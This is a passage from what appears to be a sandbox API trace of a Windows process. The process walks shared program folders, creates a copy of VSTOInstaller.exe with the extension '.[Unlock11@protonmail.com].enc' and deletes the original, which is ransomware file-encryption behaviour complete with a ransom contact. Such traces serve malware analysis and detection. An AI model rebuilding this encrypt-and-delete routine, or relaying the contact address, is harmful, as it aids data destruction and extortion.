lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll", lpFilePart=0x9bada4*="msdia90.dll") returned 0x3d [0123.890] GetCurrentThreadId () returned 0x9b0 [0123.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.890] GetCurrentThreadId () returned 0x9b0 [0123.890] GetLastError () returned 0x12 [0123.890] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0123.890] GetLastError () returned 0x12 [0123.890] GetCurrentThreadId () returned 0x9b0 [0123.890] GetLastError () returned 0x12 [0123.890] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.891] GetLastError () returned 0x12 [0123.891] GetCurrentThreadId () returned 0x9b0 [0123.891] GetLastError () returned 0x12 [0123.891] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0123.891] GetLastError () returned 0x12 [0123.891] GetCurrentThreadId () returned 0x9b0 [0123.891] GetLastError () returned 0x12 [0123.891] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0123.891] GetLastError () returned 0x12 [0123.891] GetCurrentThreadId () returned 0x9b0 [0123.891] GetLastError () returned 0x12 [0123.891] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0123.892] GetLastError () returned 0x12 [0123.892] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0123.893] GetCurrentThreadId () returned 0x9b0 [0123.893] GetLastError () returned 0x12 [0123.893] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll", lpFilePart=0x9bada4*="VGX.dll") returned 0x3a [0123.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.893] GetCurrentThreadId () returned 0x9b0 [0123.893] GetCurrentThreadId () returned 0x9b0 [0123.893] GetLastError () returned 0x12 [0123.893] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0123.893] GetLastError () returned 0x12 [0123.894] GetCurrentThreadId () returned 0x9b0 [0123.894] GetLastError () returned 0x12 [0123.894] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.894] GetLastError () returned 0x12 [0123.894] GetCurrentThreadId () returned 0x9b0 [0123.894] GetLastError () returned 0x12 [0123.894] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="10.0", cAlternateFileName="")) returned 1 [0123.894] GetLastError () returned 0x12 [0123.894] GetCurrentThreadId () returned 0x9b0 [0123.894] GetLastError () returned 0x12 [0123.894] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0123.894] GetLastError () returned 0x12 [0123.895] GetCurrentThreadId () returned 0x9b0 [0123.895] GetLastError () returned 0x12 [0123.895] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0123.895] GetLastError () returned 0x12 [0123.895] GetCurrentThreadId () returned 0x9b0 [0123.895] GetLastError () returned 0x12 [0123.895] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0123.895] GetLastError () returned 0x12 [0123.895] GetCurrentThreadId () returned 0x9b0 [0123.895] GetLastError () returned 0x12 [0123.895] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0123.895] GetLastError () returned 0x12 [0123.895] GetCurrentThreadId () returned 0x9b0 [0123.896] GetLastError () returned 0x12 [0123.896] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0123.896] GetLastError () returned 0x12 [0123.896] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0")) returned 0x10 [0123.897] GetCurrentThreadId () returned 0x9b0 [0123.897] GetLastError () returned 0x12 [0123.897] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0123.898] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0123.898] GetCurrentThreadId () returned 0x9b0 [0123.898] GetLastError () returned 0x12 [0123.899] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0123.899] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll", lpFilePart=0x9bada4*="vstoee.dll") returned 0x3e [0123.899] GetCurrentThreadId () returned 0x9b0 [0123.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.899] GetCurrentThreadId () returned 0x9b0 [0123.899] GetLastError () returned 0x12 [0123.899] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb", lpFilePart=0x9bada4*="vstoee100.tlb") returned 0x41 [0123.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.900] GetCurrentThreadId () returned 0x9b0 [0123.900] GetLastError () returned 0x12 [0123.900] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb", lpFilePart=0x9bada4*="vstoee90.tlb") returned 0x40 [0123.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.900] GetCurrentThreadId () returned 0x9b0 [0123.900] GetCurrentThreadId () returned 0x9b0 [0123.900] GetLastError () returned 0x12 [0123.900] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0123.902] GetLastError () returned 0x12 [0123.902] GetCurrentThreadId () returned 0x9b0 [0123.902] GetLastError () returned 0x12 [0123.902] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.902] GetLastError () returned 0x12 [0123.902] GetCurrentThreadId () returned 0x9b0 [0123.902] GetLastError () returned 0x12 [0123.902] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="1033", cAlternateFileName="")) returned 1 [0123.902] GetLastError () returned 0x12 [0123.902] GetCurrentThreadId () returned 0x9b0 [0123.902] GetLastError () returned 0x12 [0123.903] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0123.903] GetLastError () returned 0x12 [0123.903] GetCurrentThreadId () returned 0x9b0 [0123.903] GetLastError () returned 0x12 [0123.903] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0123.903] GetLastError () returned 0x12 [0123.903] GetCurrentThreadId () returned 0x9b0 [0123.903] GetLastError () returned 0x12 [0123.903] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0123.903] GetLastError () returned 0x12 [0123.903] GetCurrentThreadId () returned 0x9b0 [0123.903] GetLastError () returned 0x12 [0123.903] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0123.904] GetLastError () returned 0x12 [0123.904] GetCurrentThreadId () returned 0x9b0 [0123.904] GetLastError () returned 0x12 [0123.904] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0123.905] GetLastError () returned 0x12 [0123.905] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033")) returned 0x10 [0123.907] GetCurrentThreadId () returned 0x9b0 [0123.907] GetLastError () returned 0x12 [0123.907] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0123.908] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0123.908] GetCurrentThreadId () returned 0x9b0 [0123.908] GetLastError () returned 0x12 [0123.908] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0123.909] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe", lpFilePart=0x9bada4*="VSTOInstaller.exe") returned 0x4a [0123.909] GetCurrentThreadId () returned 0x9b0 [0123.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.909] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888)) returned 1 [0123.910] GetLastError () returned 0x0 [0123.910] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0123.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0123.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0123.910] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.910] GetFileType (hFile=0x39c) returned 0x1 [0123.910] GetFileType (hFile=0x39c) returned 0x1 [0123.910] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.911] GetLastError () returned 0x0 [0123.911] GetLastError () returned 0x0 [0123.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0123.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2148 | out: hHeap=0x2ad0000) returned 1 [0123.911] GetLastError () returned 0x0 [0123.911] GetLastError () returned 0x0 [0123.911] GetLastError () returned 0x0 [0123.912] GetLastError () returned 0x0 [0123.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265588 [0123.912] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.913] GetFileType (hFile=0x3ac) returned 0x1 [0123.913] GetFileType (hFile=0x3ac) returned 0x1 [0123.913] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.913] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.913] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.913] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.913] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.914] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.914] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.919] CloseHandle (hObject=0x3ac) returned 1 [0123.919] GetCurrentThreadId () returned 0x9b0 [0123.919] CloseHandle (hObject=0x39c) returned 1 [0123.919] GetCurrentThreadId () returned 0x9b0 [0123.919] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0123.921] GetCurrentThreadId () returned 0x9b0 [0123.921] GetCurrentThreadId () returned 0x9b0 [0123.921] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll", lpFilePart=0x9bada4*="VSTOLoader.dll") returned 0x47 [0123.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0123.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0123.921] GetCurrentThreadId () returned 0x9b0 [0123.922] GetLastError () returned 0x0 [0123.922] GetLastError () returned 0x0 [0123.922] GetLastError () returned 0x0 [0123.922] GetLastError () returned 0x0 [0123.922] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll", lpFilePart=0x9bada4*="VSTOMessageProvider.dll") returned 0x50 [0123.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.922] GetCurrentThreadId () returned 0x9b0 [0123.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0123.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0123.922] GetCurrentThreadId () returned 0x9b0 [0123.923] GetLastError () returned 0x0 [0123.923] GetLastError () returned 0x0 [0123.923] GetLastError () returned 0x0 [0123.923] GetLastError () returned 0x0 [0123.923] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0123.923] GetLastError () returned 0x0 [0123.923] GetCurrentThreadId () returned 0x9b0 [0123.923] GetLastError () returned 0x0 [0123.923] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, 